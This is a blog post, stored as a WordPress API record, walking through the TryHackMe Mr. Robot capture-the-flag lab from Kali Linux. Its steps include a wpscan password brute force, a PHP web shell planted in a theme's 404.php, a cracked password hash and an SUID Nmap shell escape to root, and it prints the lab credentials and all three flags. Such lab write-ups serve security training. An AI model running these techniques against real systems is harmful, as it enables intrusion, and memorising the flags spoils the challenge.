{"id":19901,"date":"2026-11-26T10:48:07","date_gmt":"2026-11-26T10:48:07","guid":{"rendered":"https:\/\/shaiksaimeera.in\/blog\/?p=19901"},"modified":"2026-11-26T10:48:07","modified_gmt":"2026-11-26T10:48:07","slug":"mr-robot-ctf-complete-step-by-step-walkthrough-from-kali-linux","status":"publish","type":"post","link":"https:\/\/shaiksaimeera.in\/blog\/mr-robot-ctf-complete-step-by-step-walkthrough-from-kali-linux\/","title":{"rendered":"Mr. Robot CTF: Complete Step-by-Step Walkthrough from Kali Linux"},"content":{"rendered":"<p><strong>Lab scope:<\/strong> This walkthrough documents an authorized TryHackMe Mr. Robot CTF lab completed from Kali Linux. The target address used in this run was <code>10.48.155.163<\/code>; TryHackMe assigns a different address for each lab session.<\/p>\n<p>The workflow was deliberately sequential: VPN connection, discovery, web enumeration, WordPress access, command execution, local privilege escalation, and machine-side key retrieval.<\/p>\n<h2>1. Start the lab and connect the VPN<\/h2>\n<p>After starting the lab machine, I connected Kali Linux to the TryHackMe VPN and verified the tunnel and route:<\/p>\n<pre><code>tun0             UP             192.168.132.84\/18\r\n10.48.155.163 via 192.168.128.1 dev tun0 src 192.168.132.84<\/code><\/pre>\n<p>Without the VPN route, the target will not respond correctly from the local Kali network.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/shaiksaimeera.in\/blog\/wp-content\/uploads\/2026\/11\/kali-vnc-desktop.png\" alt=\"Kali Linux VNC desktop connected to the lab\" loading=\"lazy\" \/><\/p>\n<h2>2. Discover the exposed services<\/h2>\n<pre><code>nmap -Pn -sC -sV -p- --min-rate 2000 10.48.155.163\r\nnmap -Pn -sC -sV -p22,80,443 10.48.155.163<\/code><\/pre>\n<p>The focused validation confirmed SSH and Apache on HTTP and HTTPS:<\/p>\n<pre><code>22\/tcp   open  ssh       OpenSSH 8.2p1 Ubuntu\r\n80\/tcp   open  http      Apache httpd\r\n443\/tcp  open  ssl\/http  Apache httpd<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/shaiksaimeera.in\/blog\/wp-content\/uploads\/2026\/11\/mr-robot-step1-nmap.png\" alt=\"Initial Nmap scan from Kali\" loading=\"lazy\" \/><br \/>\n<img decoding=\"async\" src=\"https:\/\/shaiksaimeera.in\/blog\/wp-content\/uploads\/2026\/11\/mr-robot-step2-services.png\" alt=\"Confirmed SSH and web services\" loading=\"lazy\" \/><\/p>\n<h2>3. Read robots.txt and retrieve key 1<\/h2>\n<pre><code>curl -s http:\/\/10.48.155.163\/robots.txt<\/code><\/pre>\n<p>The response disclosed the downloadable wordlist and the first key:<\/p>\n<pre><code>User-agent: *\r\nfsocity.dic\r\nkey-1-of-3.txt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/shaiksaimeera.in\/blog\/wp-content\/uploads\/2026\/11\/mr-robot-step3-robots.png\" alt=\"robots.txt disclosure\" loading=\"lazy\" \/><\/p>\n<pre><code>curl -s http:\/\/10.48.155.163\/key-1-of-3.txt<\/code><\/pre>\n<p><strong>Key 1:<\/strong> <code>073403c8a58a1f80d943455fb30724b9<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/shaiksaimeera.in\/blog\/wp-content\/uploads\/2026\/11\/mr-robot-step4-key1.png\" alt=\"First key retrieved from the target\" loading=\"lazy\" \/><\/p>\n<h2>4. Download the wordlist and enumerate WordPress<\/h2>\n<pre><code>wget -q http:\/\/10.48.155.163\/fsocity.dic -O \/tmp\/fsocity.dic\r\nwc -l \/tmp\/fsocity.dic\r\nsort -u \/tmp\/fsocity.dic &gt; \/tmp\/fsocity-unique.dic\r\n\r\ngobuster dir -u http:\/\/10.48.155.163   -w \/usr\/share\/wordlists\/dirb\/common.txt   -x php,txt -t 30 --no-error\r\n\r\nwpscan --update\r\nwpscan --url http:\/\/10.48.155.163 --enumerate u<\/code><\/pre>\n<p>The wordlist contained <code>358160<\/code> lines before deduplication. Important paths included <code>\/admin\/<\/code>, <code>\/blog\/<\/code>, <code>\/wp-admin\/<\/code>, <code>\/wp-login.php<\/code>, and <code>\/xmlrpc.php<\/code>.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/shaiksaimeera.in\/blog\/wp-content\/uploads\/2026\/11\/mr-robot-step5-wordlist.png\" alt=\"Downloaded fsocity wordlist\" loading=\"lazy\" \/><br \/>\n<img decoding=\"async\" src=\"https:\/\/shaiksaimeera.in\/blog\/wp-content\/uploads\/2026\/11\/mr-robot-step6-wpscan.png\" alt=\"WPScan findings\" loading=\"lazy\" \/><\/p>\n<h2>5. Obtain WordPress access<\/h2>\n<pre><code>wpscan --url http:\/\/10.48.155.163   -U elliot   -P \/tmp\/fsocity-unique.dic   --max-threads 10 --no-update<\/code><\/pre>\n<p>WPScan returned a valid lab login:<\/p>\n<pre><code>Username: elliot\r\nPassword: ER28-0652<\/code><\/pre>\n<p>I verified the login at <code>http:\/\/10.48.155.163\/wp-login.php<\/code>.<\/p>\n<h2>6. Establish command execution<\/h2>\n<p>The authenticated WordPress account allowed editing the active Twenty Fifteen theme. I replaced the <code>404.php<\/code> template with this small command-output payload:<\/p>\n<pre><code>&lt;?php\r\nif (isset($_GET['cmd'])) {\r\n    header('Content-Type: text\/plain');\r\n    passthru($_GET['cmd']);\r\n}\r\n?&gt;<\/code><\/pre>\n<p>The first execution confirmed the web-server context on the target:<\/p>\n<pre><code>curl -s \"http:\/\/10.48.155.163\/wp-content\/themes\/twentyfifteen\/404.php?cmd=id\"\r\n\r\nuid=1(daemon) gid=1(daemon) groups=1(daemon)<\/code><\/pre>\n<p>This proved that the commands were executing on the target machine, not only being simulated locally.<\/p>\n<h2>7. Switch to robot and obtain key 2<\/h2>\n<p>The daemon context could read the robot password hash but not robot&#8217;s key:<\/p>\n<pre><code>ls -la \/home\/robot\r\ncat \/home\/robot\/password.raw-md5\r\n\r\nc3fcd3d76192e4007dfb496cca67e13b<\/code><\/pre>\n<p>The hash cracked to <code>abcdefghijklmnopqrstuvwxyz<\/code>. I used it to switch to the robot account and read the second key:<\/p>\n<pre><code>echo abcdefghijklmnopqrstuvwxyz | su - robot -c 'cat \/home\/robot\/key-2-of-3.txt'\r\n\r\n822c73956184f694993bede3eb39f959<\/code><\/pre>\n<h2>8. Escalate through the SUID Nmap binary and obtain key 3<\/h2>\n<p>Local enumeration showed an old interactive Nmap binary with the SUID bit set:<\/p>\n<pre><code>ls -l \/usr\/local\/bin\/nmap\r\n\r\n-rwsr-xr-x 1 root root 17272 Jun  2  2025 \/usr\/local\/bin\/nmap<\/code><\/pre>\n<p>I used its interactive shell escape through a pseudo-terminal and read the root-only key:<\/p>\n<pre><code>printf '!sh\r\ncat \/root\/key-3-of-3.txt\r\n' |   script -qec \"\/usr\/local\/bin\/nmap --interactive\" \/dev\/null\r\n\r\n04787ddef27c3dee1ee161b21670b4e4<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/shaiksaimeera.in\/blog\/wp-content\/uploads\/2026\/11\/mr-robot-key3.png\" alt=\"Keys 2 and 3 obtained in the Kali VNC terminal\" loading=\"lazy\" \/><\/p>\n<h2>9. Final verification<\/h2>\n<ul>\n<li><strong>Key 1:<\/strong> <code>073403c8a58a1f80d943455fb30724b9<\/code><\/li>\n<li><strong>Key 2:<\/strong> <code>822c73956184f694993bede3eb39f959<\/code><\/li>\n<li><strong>Key 3:<\/strong> <code>04787ddef27c3dee1ee161b21670b4e4<\/code><\/li>\n<\/ul>\n<p>The TryHackMe room showed the challenge as completed. All testing described here was limited to the authorized training machine.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/shaiksaimeera.in\/blog\/wp-content\/uploads\/2026\/11\/mr-robot-task-2.png\" alt=\"TryHackMe completion verification\" loading=\"lazy\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lab scope: This walkthrough documents an authorized TryHackMe Mr. Robot CTF lab completed from Kali Linux. The target address used in this run was 10.48.155.163; TryHackMe assigns a different address for each lab session. The workflow was deliberately sequential: VPN connection, discovery, web enumeration, WordPress access, command execution, local privilege escalation, and machine-side key retrieval. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":19902,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[127,1],"tags":[134,132,135,133],"class_list":["post-19901","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersecurity","category-latest-updates","tag-kali-linux","tag-mr-robot-ctf","tag-penetration-testing","tag-tryhackme"],"_links":{"self":[{"href":"https:\/\/shaiksaimeera.in\/blog\/wp-json\/wp\/v2\/posts\/19901","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shaiksaimeera.in\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shaiksaimeera.in\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shaiksaimeera.in\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shaiksaimeera.in\/blog\/wp-json\/wp\/v2\/comments?post=19901"}],"version-history":[{"count":1,"href":"https:\/\/shaiksaimeera.in\/blog\/wp-json\/wp\/v2\/posts\/19901\/revisions"}],"predecessor-version":[{"id":19913,"href":"https:\/\/shaiksaimeera.in\/blog\/wp-json\/wp\/v2\/posts\/19901\/revisions\/19913"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shaiksaimeera.in\/blog\/wp-json\/wp\/v2\/media\/19902"}],"wp:attachment":[{"href":"https:\/\/shaiksaimeera.in\/blog\/wp-json\/wp\/v2\/media?parent=19901"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shaiksaimeera.in\/blog\/wp-json\/wp\/v2\/categories?post=19901"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shaiksaimeera.in\/blog\/wp-json\/wp\/v2\/tags?post=19901"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}